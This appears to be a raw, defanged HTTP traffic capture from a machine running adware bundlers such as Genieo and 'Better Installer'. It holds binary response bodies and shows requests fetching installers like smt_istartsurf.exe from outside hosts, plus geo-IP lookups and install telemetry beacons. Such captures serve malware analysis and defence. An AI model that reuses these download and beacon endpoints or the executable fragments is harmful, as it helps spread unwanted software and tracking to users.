..8eI.|2.1...l..(.=I%......4.....M.X.Kx...0.2q...%W..rX.....X:...&....
 .}.pW../9...s.0D..% D.....P..a..U..P...H.E.....h....*.?8F.X8....v<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:04:41 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: e765jbdalcus9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: HIT from ncache4.global.media.ir2.yahoo.com-2

X-Cache-Lookup: HIT from ncache4.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache6.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache6.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache4.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache6.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts269.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSf ]), http/1.1 r22.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 17

Connection: keep-alive

GET /us/ HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:13 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: cddiek5alcut9

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

X-Cache: MISS from ncache10.global.media.ir2.yahoo.com-2

X-Cache-Lookup: MISS from ncache10.global.media.ir2.yahoo.com-2:3128

X-Cache: MISS from ncache8.global.media.ir2.yahoo.com

X-Cache-Lookup: MISS from ncache8.global.media.ir2.yahoo.com:4080

Via: 1.1 ncache10.global.media.ir2.yahoo.com-2:3128 (squid/2.7.STABLE9), 1.1 ncache8.global.media.ir2.yahoo.com:4080 (squid/2.7.STABLE9), http/1.1 yts276.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r12.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 2

Transfer-Encoding: chunked

Connection: keep-alive
7b1.............Xmo.8..|.....8.Q/.,[I..l...C_.M.. ...(.5%jE:.[.....l..
..{...c..7.........W............1h24?KR......xh..]}6.......D&eyb.|\Z9.
..S..F...lf.8&... ...u...F9....bh.E......|.2...Q.E\.R.....#.&$... 3.5.
.sl....9<......{N$6.%..1..C3..lJ"9/..P...$w.V.>5..W...../h`....8
.T2r~e}...d&..`.....2.q....?.kB.x...%.@eER"..)..g-.xa.....Q.64.....S.Q
......c..'Yl{.Y..l.i.|..g2......j.7.>..........."K.."1......8{&'..{
............"......77.j..@.'.!.7.....i.XLZ.8io......s.Pl.6L...i..D.).U
.F.C(.%!qcK...b......"#9..2^[email protected]....;;.B...7`j...9!u Re.Z.XJ..H.t..
$B.:...[.2........_h..QE........Z.l..I.uA.<$./i.6..'yY3.. J.UG...1.
xAc..u.*. d.Sa..z.e.KR...L..\.#....:^?......<||.....s.....2.A...v$m
\R...v...Tt.\.o6... z.:..I..7.....<......{,....K..p)[email protected][..
b........).#.........VY.w.HPIF...]i.j....y......S..54#.2h...b...(@..&l
t;.R..De...1.s\.w.....ao!./.]... ..hS7.i....x-........6....\..]RF^mf..
x.0y....1..6)..[H-..>u..{F... SE....U.....O..S(..k....n...G....x...
..)3.....w.5_......1....w_.0.#F..y..../...q{:O.^....$/i..EM.....R.A9.T
[email protected] ..07[.G.@c$..E........x.C.-%..W..9......2...A{GM..........
6?...P......oq=....}.Buh=..[..... .z.......{`M.\.I.n:;.......w.v./...-
*....]5.%g..2..*\..J#.K.0..x..-2V;9.M.i...K..Z...C#..4.AV..$y...u.j...
...Rn......5...c..t)....L.....?.N:G.v?:...X.6p.....S.:>.....o..7?..
.X.8..!...Hb!vG..o........~?aw-..zv-.....p=....q....T.................
.b.v.._P.h..?.{}.9\me.w..B..M7l.....i.^.x.K.S4.h"@.......N.GM....f.t..
...rF......{...X.. ..rC.....w.>.:X.0Nh<.......C..V ....M3o..<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: news.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: private

Content-Length: 5430

Content-Type: image/x-icon

Date: Fri, 15 May 2015 22:56:08 GMT

ETag: "YM:1:d8c23aff-97ec-4cae-83b6-5a3fd7414c6d00051625f755a372"

Expires: Sat, 16 May 2015 23:00:01 GMT

Last-Modified: Fri, 15 May 2015 22:00:02 GMT

Server: ATS

x-ysws-request-id: 11dcd390-9f81-4b0b-8658-9f455b3a24ce

x-ysws-visited-replicas: gops.use26.mobstor.vip.bf1.yahoo.com

Age: 547

X-Cache: HIT from logo3.global.media.bf1.yahoo.com

X-Cache-Lookup: HIT from logo3.global.media.bf1.yahoo.com:80

Via: HTTP/1.1 web14.use26.mobstor.bf1.yahoo.com UserFiberFramework/1.0, 1.0 logo3.global.media.bf1.yahoo.com:80 (squid/2.7.STABLE9), http/1.0 l10.ycs.dea.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r12.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Connection: keep-alive
......  .... .....&......... .h.......(... ...@..... .................
..........;.p.5.o.6.o.6Dd.0...........................................
..............................................d.0.o.6Do.6.o.4...;...;.
p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2...........................
......m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.
v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.
5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.
x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.
6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;.
..<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9
.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;..
.<...=...=...>...>...?...=...>...>...>...>...>
...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...
9...;...;...;...;...<...>...>[email protected]................
[email protected]...?...>...>...>...>...=...;...<.}.8.v.5...
;...;.z.7...:...<...<...>...?...?...A...A...B...C...C...D....
...............D...C...B...C...C...B...B...?...>...>...<.}.8.
z.7...;...;...9...<...?...>[email protected].
..................G...F...G...F...E...D...D...B...A...A...>...<.
z.8...;...;...8...=...A...A...A...B...D...D...F...F...F...H...H.......
............H...H...H...G...G...F...E...D...B...A...A...<.z.8...;..
.;...;...?...C...D...C...D...F...G...H...I...J...J...K............<<< skipped >>>

HEAD /index.html?partner=rss&emc=rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Server: Apache

Location: hXXp://VVV.nytimes.com/

Cneonction: close

Content-Type: text/html; charset=iso-8859-1

Content-Length: 231

Accept-Ranges: bytes

Date: Fri, 15 May 2015 23:05:15 GMT

X-Varnish: 490937211

Age: 0

Via: 1.1 varnish

X-Cache: MISS

X-API-Version: 5-5

X-PageType: homepage

Connection: close

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=167832-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

Content-Type: application/octet-stream

Content-Length: 503496

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 167832-671327/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..<<< skipped >>>

GET /youtube_accelerator/wizardtest/SMALLTEST.HTM?random=541775&mode=nolsp HTTP/1.1

Accept: */*

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: test.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: text/html

Content-Encoding: gzip

Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT

Accept-Ranges: bytes

ETag: "bfefaff515ebc81:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:57 GMT

Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Fri, 15
 May 2015 23:02:57 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-494204

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: y BR9IIcIYkaMx6VDXxwL3YXJ1dMU8rtYECSILjPGisfb458Ezkvu7tZQNZs1QYp

x-amz-request-id: EBC9F67666C0B02F

Date: Fri, 15 May 2015 23:02:26 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 247102-494204/988408

Content-Type: application/octet-stream

Content-Length: 247103

Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~<<< skipped >>>

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:05:05 GMT

P3P: policyref="hXXp://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"

X-Yahoo-Request-Id: 4uml3j9alcut1

X-Frame-Options: SAMEORIGIN

Content-Type: text/html;charset=utf-8

Content-Encoding: gzip

Via: http/1.1 yts224.global.media.ir2.yahoo.com (ApacheTrafficServer [cMsSfW]), http/1.1 r12.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Server: ATS

Cache-Control: max-age=0, private

Expires: -1

Age: 2

Transfer-Encoding: chunked

Connection: keep-alive
852...............n...w..4..m`yS"i[n.Iv7?r......a........- ...C..O.oxH
.L.H........N...x.....K%..;}v"...g.{A..2Ua(Of*....U.:c9?*`#..<2.").
..9..?....b..c...(......4}#.3 .1..L.U.LS=}...$%.....G.-.....1.g\.J.r.P
^ A.....s......A..3"."%...5...Q..RB......j..r-........D.>.....q../'
..FN/PZ......W......o...........uVT..3...K....m.c.........d..p..."1.Q.
I.....,r.....R....ChUI...:..s}I.D..^..X::..[....T....).?kR-......GzHP.
....B..K.P..j.......1.c....GA;[email protected]../.b..KU.......P1
..FF...L.Q.....A3..n..J..C.ix..bE:[email protected].. ..|'{.I.i.
.D.].E...V*.../ Jg.)..N..B.m..M............pk.wm...EN#..M.....e....eU.
......G.,.....L..N.....8Er......6......._.....................w.<.g
/.y..w.i.q...........a.......s..;.X.>..{. 3x.Q.z.jWsLbT31gERh..[...
e....SA..q.Z.....&.........fMY.P....... .....[P!H%......(.FJ...b.../Q!
L..$.j.....2-....?5'.o.wb..qAv\.....?.].......U.....`...........5.....
.......W. kJ.iwD..c..!.s....23%....`....w..Rv. ....-Y........)s....:g.
k..O4Q....5..5x7.._j..5k.L-..........^.W}B.R...".g_{.S.&P...&..`5.I...
.H.......'.).......F.u. ZV.2R..JbZ.J.. .........`..5.BT..r.R.Pt....%..
....b..0......P...fBy.R.>...?.t.........jw.s...W!G..O....\C.......;
..noI3..wB......#.... ......-u...C......-c...F....T.Hh=b...Z("Hjr..TU.
..V...N.1g...:.Bz...y..\..............[...........lBDG...<G.....}.r
a....I.g.C>O)..-.........W...g.....)O..o.8I...H..E.ba.7..o_...n..c.
[email protected]*.:.KQ..=.....w...qb\.....`4X.....|....o.0...h.......
...L..lr......'.l.r.)..;E,.H......N4.V;..h...7y..^r.D..,.....,....<<< skipped >>>

GET /favicon.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: sports.yahoo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: private

Content-Length: 5430

Content-Type: image/x-icon

Date: Fri, 15 May 2015 22:56:08 GMT

ETag: "YM:1:d8c23aff-97ec-4cae-83b6-5a3fd7414c6d00051625f755a372"

Expires: Sat, 16 May 2015 23:00:01 GMT

Last-Modified: Fri, 15 May 2015 22:00:02 GMT

Server: ATS

x-ysws-request-id: 11dcd390-9f81-4b0b-8658-9f455b3a24ce

x-ysws-visited-replicas: gops.use26.mobstor.vip.bf1.yahoo.com

Age: 540

X-Cache: HIT from logo3.global.media.bf1.yahoo.com

X-Cache-Lookup: HIT from logo3.global.media.bf1.yahoo.com:80

Via: HTTP/1.1 web14.use26.mobstor.bf1.yahoo.com UserFiberFramework/1.0, 1.0 logo3.global.media.bf1.yahoo.com:80 (squid/2.7.STABLE9), http/1.0 l10.ycs.dea.yahoo.com (ApacheTrafficServer [cHs f ]), http/1.1 r12.ycpi.dea.yahoo.net (ApacheTrafficServer [cMsSf ])

Connection: keep-alive
......  .... .....&......... .h.......(... ...@..... .................
..........;.p.5.o.6.o.6Dd.0...........................................
..............................................d.0.o.6Do.6.o.4...;...;.
p.3.o.3.n.3.q.3.n.3.r.7.n.5.o.6up.8Pn.7)i.2...........................
......m.3.n.6*q.8Po.7tn.5.n.4.n.3.q.3.n.3.n.3.p.3...;...;.q.3.s.4.s.4.
v.5.q.4.r.4.q.4.q.4.q.5.q.5.q.5.q.4.p.4.r.5.p.4.q.4.q.4.q.5.q.4.r.5.q.
5.q.5.q.5.q.4.q.3.r.4.u.5.s.4.r.3.p.3...;...;.t.5.w.5.v.5.y.6.u.5.w.6.
x.7.x.7.w.7.x.8.y.8.y.9.z.9.z.9.v.7.w.9.y.9.z.9.v.8.v.7.v.8.v.7.v.6.v.
6.v.6.z.7.x.6.v.5.t.5.r.3...;...;.u.5.x.6.{.7.y.6.y.7.z.8.|.8.}.9...;.
..<...<.~.<...<...<.{.:.|.;.}.;.z.:.{.:.|.:.z.:.{.:.{.9
.{.9...:.{.8.|.8.w.6.t.5.t.5...;...;.v.5.z.7...9.}.8.}.9...9...;...;..
.<...=...=...>...>...?...=...>...>...>...>...>
...>...<...<...;...<...<.|.8.~.8.y.6.t.5...;...;.w.5...
9...;...;...;...;...<...>...>[email protected]................
[email protected]...?...>...>...>...>...=...;...<.}.8.v.5...
;...;.z.7...:...<...<...>...?...?...A...A...B...C...C...D....
...............D...C...B...C...C...B...B...?...>...>...<.}.8.
z.7...;...;...9...<...?...>[email protected].
..................G...F...G...F...E...D...D...B...A...A...>...<.
z.8...;...;...8...=...A...A...A...B...D...D...F...F...F...H...H.......
............H...H...H...G...G...F...E...D...B...A...A...<.z.8...;..
.;...;...?...C...D...C...D...F...G...H...I...J...J...K............<<< skipped >>>

GET / HTTP/1.1

Host: ipgeoapi.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:54 GMT

Connection: keep-alive

Content-Type: application/json;charset=utf-8

Content-Length: 40

Server: thin 1.4.1 codename Chromeo

Via: 1.1 vegur

{"country_code":222,"country_name":"UA"}HTTP/1.1 200 OK..Date: Fri, 15
 May 2015 23:02:54 GMT..Connection: keep-alive..Content-Type: applicat
ion/json;charset=utf-8..Content-Length: 40..Server: thin 1.4.1 codenam
e Chromeo..Via: 1.1 vegur..{"country_code":222,"country_name":"UA"}..

GET /32252.ashx?e=XOxRKBm2zlxAvMuihpEQc1PJMnQ/271vyMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/j541coqS7no0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:49 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:49 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /sd?is=sm HTTP/1.1

Range: bytes=348858-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 16 May 2015 23:02:24 GMT

Date: Fri, 15 May 2015 23:02:24 GMT

Content-Range: bytes 348858-465143/465144

Content-Length: 116286

Connection: keep-alive
[email protected].._.z.lKY8...y...T[J7.3)-.5.2...h......
..G.-ZQU%[email protected]>\M..*.:.............w*.*......Y..h..LH..[..
....n.S\...0...i..E..;.FY.,.....\.....#...C.a..P.n.=-..[....=*.?.K:...
...!r..._.TQ...{....g.I.V..P0Z.p\./&.0.c.8e$....8.<...o.l....X..'.{
...9,'..R.6O>..X..J..7b....o."x.O.6C.C:.~.[...u..x..Y~.[....!...Z..
a..Av...b..1*.w...0.XO.'....D....0.u*.5n.1.$Yr;......C..o.....p.a.%.0.
&im...Q..m......jy..R... ..[M..5D...Q.>J.....6ZnLlW....1.e..."x....
..Q~E...X.R..t'.....]%.Z.]..L......3ym^..B...2_.kf.A.o...s'....?i.....
.nH.....P.n2.k...f.c..z....XZtw.............L:...2.#.2..........B..|.G
t.G........%6..$.38.p.....1'w.<.;.Q n.l....l."3.'t0.R.....n.%.....r
[email protected]...:.....kB.....A.
..M*.5.p..e..=%i...H.......$~.e h.}~......>e(..4G.G.h.'..........^.
.....:..n.d..7PSe..>.....,.....;.n.V@.%W..RO.R..a.u>q.YP...Rg..&
gt;.9.................I..y.D.<...x...bn..m.._.aJ.....[[email protected]..).
A. ._...[.L..#p../.....~.h............y.9.E.......M.......`....o....H.
....Hl....~<L..6r...x...o.........|.I<e......`..LAu<^........
.:&9..Ik.kH....6....wr.%.ry.p.u....&..5.38..[H..y0.!.......[..e..c ...
.. .....&=C.>..v..j...O.E..<*nt.#.&=...G.}..A ..g..=..i.5.Ps..x.
}..w..Y......P...I4*.;v.9Ix<..4.w.G...o....1.gM....C;.Ou......^q.2y
.*....B&....D......s2(..ePB..3Q.}c$...../..T|......K....5{..l...n.kiG.
...:.. Cm....a....'.s..{..H....[....Q............P.9..bZ...].5.?.X.g..
<....6.Y&Pf8.j.e....K....o...sb....y.....I...!k..P.JU.&.....R..<<< skipped >>>

GET /software_files/vlc/2_0_2/vlc-2.0.2-win32.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:01:32 GMT

Content-Type: application/octet-stream

Content-Length: 22630361

Last-Modified: Thu, 11 Oct 2012 11:07:06 GMT

Connection: close

ETag: "5076a85a-1594fd9"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........^...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected]...@[email protected]
rc....^.......`...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /v4/sof-ient/267123711_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2394&update4=chptid,smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:03:11 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.98 ms","message":"store 3 action and 5 upd
ate "}..0......

GET /v4/sof-ient/267123711_198339_B48A115F?action1=install.smt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 15 May 2015 23:03:11 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.67 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 15 May 20
15 23:03:11 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.67 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRtl6lMY2+iPob4twryIF+FfgUdvwQUK8NGq7oOyWUqRtF5R8Ri4uHa/LgCEBBwnU/1VAjXMGAB2OqRdbs= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:06:06 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Fri, 15 May 2015 19:36:24 GMT

Expires: Tue, 19 May 2015 19:36:24 GMT

ETag: 766E8992A420DBC8E2C0E5F855A4FDD7E4720249

Cache-Control: max-age=332417,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0...... .F....e*F.yG.b.......2015051
5193624Z0s0q0I0... ........m..Lco.>..... _.~..... .F....e*F.yG.b...
.....p.O.T..0`....u.....20150515193624Z....20150519193624Z0...*.H.....
.........>..O..)..Z...qIW...).....%tJ.B.....U..)......A....!}*B..j.
......g..u..............;..v....Y.<..^.j...5c.a...*..(...{J..0...yZ
.......`c...._..]..0.I.B.1>...(.6.e...!..9...P...>.`..et$eD....|
..eaG....,1..}..ZJ......zI..f...p.M1...Q....V.............w....ww...

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=251748-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Fri, 15 May 2015 23:02:22 GMT

